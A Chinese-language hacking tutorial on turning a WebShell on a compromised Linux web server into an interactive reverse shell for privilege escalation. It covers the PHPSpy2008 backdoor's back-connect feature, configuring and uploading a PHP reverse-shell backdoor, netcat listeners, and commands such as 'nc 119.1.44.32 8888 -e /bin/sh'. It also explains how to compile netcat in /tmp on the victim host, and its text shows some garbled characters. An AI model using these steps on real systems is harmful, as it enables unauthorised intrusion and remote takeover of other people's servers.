Linux下通過(guò)WebShell反彈Shell的技巧
Linux下通過(guò)WebShell反彈CmdShell,在網(wǎng)站服務(wù)器入侵提權(quán)過(guò)程中的應(yīng)用比Windows環(huán)境下更廣更頻繁。Linux提權(quán)絕大部分都靠的是Local Exploit。WebShell一般都可以執(zhí)行命令,但是溢出必須在可交互環(huán)境運(yùn)行,否則如果直接在WebShell執(zhí)行,即使能溢出提權(quán)成功,也沒(méi)法利用。因此必須要反彈一個(gè)Shell命令行窗口,在命令行終端下執(zhí)行溢出進(jìn)行提權(quán)。
使用PHP WebShell木馬反彈Shell
一般情況下,大多數(shù)PHP WebShell木馬后門都帶有的Back Connect功能彈回一個(gè)Shell。例如在PHPSpy2008木馬后門中,有一個(gè)Back Connect反彈連接功能,可以反彈獲得一個(gè)繼承當(dāng)前WebShell權(quán)限的Shell命令窗口。
在使用Back Connect反彈連接功能前,首先需要使用NC工具在本地監(jiān)聽一個(gè)未使用的端口,例如監(jiān)聽本地8888端口,執(zhí)行如下命令:
- nc -vv -l -p 8080
然后在WebShell的Back Connect反彈連接功能頁(yè)中,會(huì)自動(dòng)檢測(cè)本機(jī)的IP地址,在"Your IP"中顯示本機(jī)IP,在"Your Port"中輸入監(jiān)聽的端口,這里為8080。然后選擇要使用的反彈連接方式,PHPSpy2008提供了兩種反彈連接方式,Perl和C,這里使用Perl反彈(圖1)。
圖1
設(shè)置完畢后,點(diǎn)擊"Start"按鈕,即可發(fā)送Shell窗口到監(jiān)聽端口了。在NC監(jiān)聽窗口中,可得到一個(gè)Shell命令行窗口(圖2)。
圖2
除了PHPSpy2008之外,還有一些專用的PHP反彈shell網(wǎng)頁(yè)后門。首先在本地用文本編輯器打開PHP反彈shell網(wǎng)頁(yè)后門文件,在其中找到如下代碼內(nèi)容:
- $yourip = "111.123.96.28";
- $yourport = '8888';
圖3
修改設(shè)置其中的反彈IP地址111.123.96.28為本機(jī)IP地址,默認(rèn)反彈端口為8888,可進(jìn)行修改(圖3)。修改后保存文件,將其通過(guò)WebShell上傳。假設(shè)上傳后的鏈接地址為http://www.***.com/shell.php。然后在本地打開命令提示符窗口,執(zhí)行如下命令:
- nc -vv -l -p 8888
使用nc監(jiān)聽本地的8888端口。在瀏覽器中訪問(wèn)http://www.***.com/shell.php,在nc監(jiān)聽的端口中,就可以獲得一個(gè)從網(wǎng)站服務(wù)器上返回來(lái)的命令行Shell了。#p#
使用NC反彈Shell
在進(jìn)行Shell反彈時(shí),有時(shí)會(huì)碰到服務(wù)器不支持PHP或者WebShell無(wú)法成功反彈Shell的情況,例如有的服務(wù)器只支持JSP,不支持PHP。此時(shí),可以同樣采用Windows下的經(jīng)典的NC反彈Shell方法。
在Windows下反彈CmdShell時(shí),首先要在本機(jī)運(yùn)行"nc -vv -l -p 端口號(hào)"監(jiān)聽端口,然后在WebShell中執(zhí)行"nc -e cmd.exe 監(jiān)聽主機(jī)IP地址 端口",就可以反彈一個(gè)CmdShell。這個(gè)方法在Linux中仍然可行,只不過(guò)需要作一點(diǎn)小小的改動(dòng)。
--在本機(jī)監(jiān)聽端口后,在WebShell運(yùn)行nc反彈時(shí),需要發(fā)送的是"/bin/sh",而不是cmd.exe,這樣才夠反彈發(fā)送一個(gè)Linux下的Shell命令行窗口給監(jiān)聽主機(jī)。例如執(zhí)行如下命令:
- nc 119.1.44.32 8888 -e /bin/sh
即可反彈一個(gè)Shell到IP地址為119.1.44.32的監(jiān)聽主機(jī)的8888端口。#p#
遠(yuǎn)程主機(jī)無(wú)NC工具時(shí)的解決辦法
在使用NC反彈Shell時(shí),還會(huì)碰到遠(yuǎn)程主機(jī)上不能直接執(zhí)行nc,或者沒(méi)有安裝nc工具。碰到這樣的情況,可以給手工給遠(yuǎn)程主機(jī)安裝一個(gè)NC,比較方便的方法是,到http://netcat.sourceforge.net/download.php下載nc源碼,然后在本地Linux機(jī)器上編譯成可執(zhí)行程序后,再將編譯文件上傳到遠(yuǎn)程主機(jī)上。如果本地編譯的程序在遠(yuǎn)程主機(jī)上無(wú)法使用,可以直接把源碼傳上去后,在目標(biāo)機(jī)器上直接編譯。
如果需要在目標(biāo)機(jī)器上編譯NC的話,需要注意一些問(wèn)題,因?yàn)樵诘玫絊hell命令行窗口前,只能在WebShell里執(zhí)行命令,一般每次只能執(zhí)行一條,然后等待執(zhí)行后的結(jié)果回顯。
另外,在編譯時(shí)需要注意程序執(zhí)行路徑的問(wèn)題。由于Linux下權(quán)限設(shè)置非常嚴(yán)格,即使攻擊者獲得了WebShell,也可能無(wú)法直接在WEB網(wǎng)頁(yè)目錄下寫入文件,只能在/tmp之類的文件夾中上傳寫入NC源文件(圖4)。
圖4
例如WebShell在/var/www/目錄,那么在WebShell中執(zhí)行命令默認(rèn)的當(dāng)前路徑都是/var/www/,如果netcat源碼包解壓在了/tmp/netcat-0.7.1文件夾,在編譯netcat進(jìn)行make操作時(shí),由于當(dāng)前路徑是/var/www/,而不是/tmp/netcat-0.7.1,所以在make操作時(shí)會(huì)出錯(cuò)。解決這個(gè)問(wèn)題其實(shí)很簡(jiǎn)單,可以直接把切換路徑和make操作兩句命令寫成一句,用分號(hào)隔開寫就可以了。
將netcat-0.7.1源文件上傳到可寫文件夾/tmp中后,在WebShell中編譯nc的操作過(guò)程及命令如下:
- cd /tmp;tar zxvf /tmp/netcat-0.7.1.tar.gz
圖5
執(zhí)行該命令后,可以將netcat-0.7.1源文件解壓到/tmp/netcat-0.7.1目錄中(圖5)。然后再執(zhí)行命令:
- /tmp/netcat-0.7.1/configure
配置完畢后,再執(zhí)行如下命令進(jìn)行編譯:
- cd /tmp/netcat-0.7.1;make
由于使用了分號(hào),可同時(shí)執(zhí)行兩條命令,將make跟在目錄切換命令后面,在編譯的時(shí)候就不會(huì)報(bào)錯(cuò)了(圖6)。#p#
圖6
編譯成功以后,就可以輸入命令反彈Shell了,例如這里nc路徑是/tmp/netcat-0.7.1/nc,在本地執(zhí)行"nc -vv -l -p 8080"命令監(jiān)聽8080號(hào)端口后,在WebShell中執(zhí)行如下命令(圖7):
- cd /tmp/netcat-0.7.1;nc 119.1.58.126 8080 -e /bin/sh
圖7
即可向主機(jī)反彈回一個(gè)Shell命令行窗口了。需要注意的是,反彈的Linux Shell是沒(méi)有$提示符的,執(zhí)行一句返回一句(圖8)。另外,這里反彈Shell時(shí)候運(yùn)行的是/bin/sh,也可以反彈運(yùn)行/bin/bash,但/bin/sh的權(quán)限比/bin/bash要設(shè)置松一些,因此成功率更高一些。
圖8
【編輯推薦】